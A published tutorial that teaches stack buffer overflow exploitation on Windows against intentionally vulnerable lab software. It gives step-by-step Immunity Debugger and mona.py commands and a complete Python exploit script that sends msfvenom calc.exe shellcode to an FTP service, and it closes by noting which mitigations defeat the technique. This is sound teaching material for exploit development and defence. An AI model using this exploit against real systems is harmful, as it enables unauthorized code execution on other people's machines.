# Windows Stack Buffer Overflow

> Exploit a classic stack buffer overflow on Windows, from crash discovery to shellcode execution using Immunity Debugger and mona.py.

- Published: 2025-10-23
- Difficulty: intermediate
- Series: Windows Exploitation
- Tags: Windows, Exploit Development, Stack Overflow, x86, Shellcode
- Source: https://stevenfoerster.com/tutorials/windows-stack-buffer-overflow/

## Prerequisites

- Basic understanding of x86 assembly
- Familiarity with Immunity Debugger
- Python scripting knowledge
- Understanding of Windows memory layout

This tutorial walks through exploiting a stack buffer overflow in a Windows application. We'll use Immunity Debugger with mona.py to find the offset, locate a JMP ESP gadget, identify bad characters, and execute shellcode.

> [!note] Lab Setup
>
> - **Target**: You'll need a vulnerable application that accepts network input and crashes on oversized input. Typical choices include SLMail, Vulnserver, or similar intentionally vulnerable software running on a Windows VM.
> - **Debugger**: Immunity Debugger with mona.py installed.
> - **Configure mona working directory**: `!mona config -set workingfolder c:\mona\%p`
> - **Windows version**: Prefer Windows 7 or earlier for learning, as newer versions include additional mitigations (ASLR, DEP enabled by default).

## Tools Required

- **Immunity Debugger**: Windows debugger for exploit development
- **mona.py**: Plugin for Immunity Debugger
- **Python 3**: For exploit scripts
- **msfvenom**: For shellcode generation

## Exploit Skeleton

Start with a basic network exploit template:

```python
#!/usr/bin/env python3
import socket

buffer = b"A" * 1000

print("[+] Sending buffer.")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 21))
s.recv(1024)
s.sendall(b'USER anonymous\r\n')
s.recv(1024)
s.sendall(b'PASS anonymous\r\n')
s.recv(1024)
s.sendall(b'HOST ' + buffer + b'\r\n')
s.close()
print("[+] Exploit completed.")
```

## Finding the Offset

### Confirm the Crash

Run the skeleton and observe EIP (Extended Instruction Pointer) -- the register that holds the address of the next instruction to execute:

```text
EIP: 0x41414141
```

EIP is overwritten with our 'A' characters.

### Create Pattern

In Immunity Debugger, first configure the mona working directory (if you haven't already):

```text
!mona config -set workingfolder c:\mona\%p
```

Then generate the pattern:

```text
!mona pattern_create 1000
```

This creates `pattern.txt` in the mona working directory.

### Find Offset

After crashing with the pattern, note EIP value:

```text
EIP: 69413269
```

Calculate the offset:

```text
!mona pattern_offset 69413269
```

```text
Pattern i2Ai (0x69413269) found at position 247
```

### Verify Control

```python
buffer = b"A" * 247
buffer += b"BBBB"      # EIP
buffer += b"C" * 749   # Remaining space
```

After running:

```text
EIP: 42424242
ESP -> "CCCCCCCC..."
```

We control EIP, and ESP (Extended Stack Pointer) -- the register that points to the top of the stack -- points to our C buffer.

### Stack Frame During Overflow

```text
         Stack Growth
         (high -> low)

  +---------------------------+
  |       Caller's Frame      |
  +---------------------------+
  | Saved EIP (return addr)   | <-- Offset 247
  +---------------------------+
  | Saved EBP                 |
  +---------------------------+
  |                           |
  |    Local Buffer (247 B)   |
  |                           |
  +---------------------------+
  |         ...               |
  +---------------------------+ <-- ESP

  After overflow:

  +---------------------------+
  |       Caller's Frame      |
  +---------------------------+
  | BBBB (EIP overwrite)      | <-- We control this
  +---------------------------+
  | AAAA... (junk)            |
  +---------------------------+
  |                           |
  |    AAAA... (247 bytes)    |
  |                           |
  +---------------------------+
  |         ...               |
  +---------------------------+ <-- ESP -> "CCCC..."
```

When the function returns, the CPU pops our `BBBB` value into EIP and ESP advances to point at the `C` buffer. By placing a `JMP ESP` address where `BBBB` is, execution jumps into the data we control after the return address.

## Finding JMP ESP

Since ESP points to data after EIP, we need a `JMP ESP` instruction to redirect execution.

```text
!mona jmp -r ESP
```

Results show addresses from various DLLs. Choose one without null bytes and from a module without ASLR (Address Space Layout Randomization) -- which randomizes the base addresses of loaded modules -- or SafeSEH -- a compiler-level protection that validates exception handler addresses against a whitelist:

```text
0x77e2d9d3 : jmp esp | ADVAPI32.dll
ASLR: False, Rebase: False, SafeSEH: False
```

## Testing Execution Flow

### Add NOPs and INT3

```python
buffer = b"A" * 247
buffer += b"\xd3\xd9\xe2\x77"  # JMP ESP (little endian)
buffer += b"\x90" * 20         # NOP sled
buffer += b"\xcc" * (749 - 20) # INT3 breakpoints
```

After running, the debugger should break on INT3, confirming code execution on the stack.

## Identifying Bad Characters

### Generate Test String

Create a byte array with all characters except null:

```python
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
```

### Send and Analyze

```python
buffer = b"A" * 247
buffer += b"\xd3\xd9\xe2\x77"
buffer += b"\x90" * 20
buffer += b"\xcc"
buffer += badchars
buffer += b"C" * (749 - 20 - 1 - len(badchars))
```

Examine the stack in memory. Look for missing or corrupted bytes:

- If truncated at `\x0a` - newline is bad (common for FTP)
- If truncated at `\x0d` - carriage return is bad
- If bytes are missing in sequence - they're bad characters

To verify bad characters: after sending a payload with all possible byte values (0x01-0xFF), right-click ESP in Immunity Debugger and select 'Follow in Dump'. Compare the hex dump byte-by-byte against the expected sequence -- any missing, replaced, or truncated bytes are bad characters that must be excluded from your shellcode.

### Common Bad Characters

For FTP servers:

- `\x00` - Null (always bad)
- `\x0a` - Newline
- `\x0d` - Carriage return

## Generating Shellcode

```bash
msfvenom -p windows/exec cmd=calc.exe \
         exitfunc=thread \
         -b "\x00\x0a\x0d" \
         -f c
```

```c
unsigned char shellcode[] =
"\xbe\x64\x82\x92\x40\xdb\xd7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x31\x31\x77\x13\x83\xef\xfc\x03\x77\x6b\x60\x67\xbc\x9b\xe6"
...
"\x9d\xb1\x86\x15\x7d\x18\x2d\x9e\xe4\x64";
```

## Complete Exploit

```python
#!/usr/bin/env python3
import socket

shellcode = (
b"\xbe\x64\x82\x92\x40\xdb\xd7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
b"\x31\x31\x77\x13\x83\xef\xfc\x03\x77\x6b\x60\x67\xbc\x9b\xe6"
b"\x88\x3d\x5b\x87\x01\xd8\x6a\x87\x76\xa8\xdc\x37\xfc\xfc\xd0"
b"\xbc\x50\x15\x63\xb0\x7c\x1a\xc4\x7f\x5b\x15\xd5\x2c\x9f\x34"
b"\x55\x2f\xcc\x96\x64\xe0\x01\xd6\xa1\x1d\xeb\x8a\x7a\x69\x5e"
b"\x3b\x0f\x27\x63\xb0\x43\xa9\xe3\x25\x13\xc8\xc2\xfb\x28\x93"
b"\xc4\xfa\xfd\xaf\x4c\xe5\xe2\x8a\x07\x9e\xd0\x61\x96\x76\x29"
b"\x89\x35\xb7\x86\x78\x47\xff\x20\x63\x32\x09\x53\x1e\x45\xce"
b"\x2e\xc4\xc0\xd5\x88\x8f\x73\x32\x29\x43\xe5\xb1\x25\x28\x61"
b"\x9d\x29\xaf\xa6\x95\x55\x24\x49\x7a\xdc\x7e\x6e\x5e\x85\x25"
b"\x0f\xc7\x63\x8b\x30\x17\xcc\x74\x95\x53\xe0\x61\xa4\x39\x6e"
b"\x77\x3a\x44\xdc\x77\x44\x47\x70\x10\x75\xcc\x1f\x67\x8a\x07"
b"\x64\x87\x68\x82\x90\x20\x35\x47\x19\x2d\xc6\xbd\x5d\x48\x45"
b"\x34\x1d\xaf\x55\x3d\x18\xeb\xd1\xad\x50\x64\xb4\xd1\xc7\x85"
b"\x9d\xb1\x86\x15\x7d\x18\x2d\x9e\xe4\x64"
)

buffer = b"A"*247
buffer += b"\xd3\xd9\xe2\x77"  # JMP ESP
buffer += b"\x90"*20           # NOP sled
buffer += shellcode
buffer += b"C"*(749-20-len(shellcode))

print("[+] Sending buffer.")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 21))
s.recv(1024)
s.sendall(b'USER anonymous\r\n')
s.recv(1024)
s.sendall(b'PASS anonymous\r\n')
s.recv(1024)
s.sendall(b'HOST ' + buffer + b'\r\n')
s.close()
print("[+] Exploit completed.")
```

## Buffer Layout

```text
  Low Address                    High Address
  |                                        |
  v                                        v
  +-------+------+------+-----------+------+
  | Junk  | EIP  | NOPs | Shellcode | Pad  |
  | 247 B | 4 B  | 20 B | ~220 B   | Rest |
  +-------+------+------+-----------+------+
           |      ^
           |      | ESP points here after
           |      | function returns
           v      |
      JMP ESP ----+
           (from a loaded DLL)

  Execution flow:
  1. ret  -> pops EIP = JMP ESP addr
  2. ESP  -> now points past saved EIP
  3. JMP ESP -> jumps to NOP sled
  4. NOPs -> slide into shellcode
  5. Shellcode executes
```

## Key Concepts

### Why JMP ESP?

After `ret` executes:

1. EIP is popped from stack
2. ESP now points to data after EIP
3. JMP ESP redirects execution to ESP

### NOP Sled Purpose

- Provides a safe landing zone
- Absorbs minor address variations
- Encoded shellcode sometimes needs decoder space

### exitfunc=thread

Using `thread` exit function keeps the process running after shellcode. Use `process` to exit the entire application.

## Where This Stops Working

This exploit rested on two assumptions that modern targets break. First, it overwrote the saved return address directly, which a compiler-inserted stack cookie (canary) detects: the cookie is checked in the function epilogue, and a mismatch aborts the process before `ret` ever runs. Second, it executed shellcode straight off the stack, which DEP forbids by marking the stack non-executable.

The next two rungs answer these in turn. [Windows SEH Overflow Exploitation](https://stevenfoerster.com/tutorials/windows-seh-overflow-exploitation/) sidesteps the stack cookie by exploiting that epilogue timing: the cookie is only verified when a function returns normally, so corrupting an exception-handler record on the stack and then triggering a fault transfers control through exception dispatch before the return check ever runs. This is a classic, lab-era path. Modern mitigations defend it (SafeSEH validates the handler against a registered list, SEHOP validates the chain's integrity), which is why the SEH tutorial works from a module compiled without them. After that, [Bypassing DEP with ROP](https://stevenfoerster.com/tutorials/bypassing-dep-with-rop-on-windows/) deals with the non-executable stack by building the payload out of existing code instead of injecting new code.

## Troubleshooting

### Shellcode Doesn't Execute

1. Check for additional bad characters
2. Increase NOP sled size
3. Verify JMP ESP address is correct
4. Ensure DEP (Data Execution Prevention) is disabled -- DEP prevents code execution from data regions like the stack

### Access Violation

1. JMP ESP address may contain bad chars
2. Find alternative address from another module
3. Check if ASLR is affecting the address
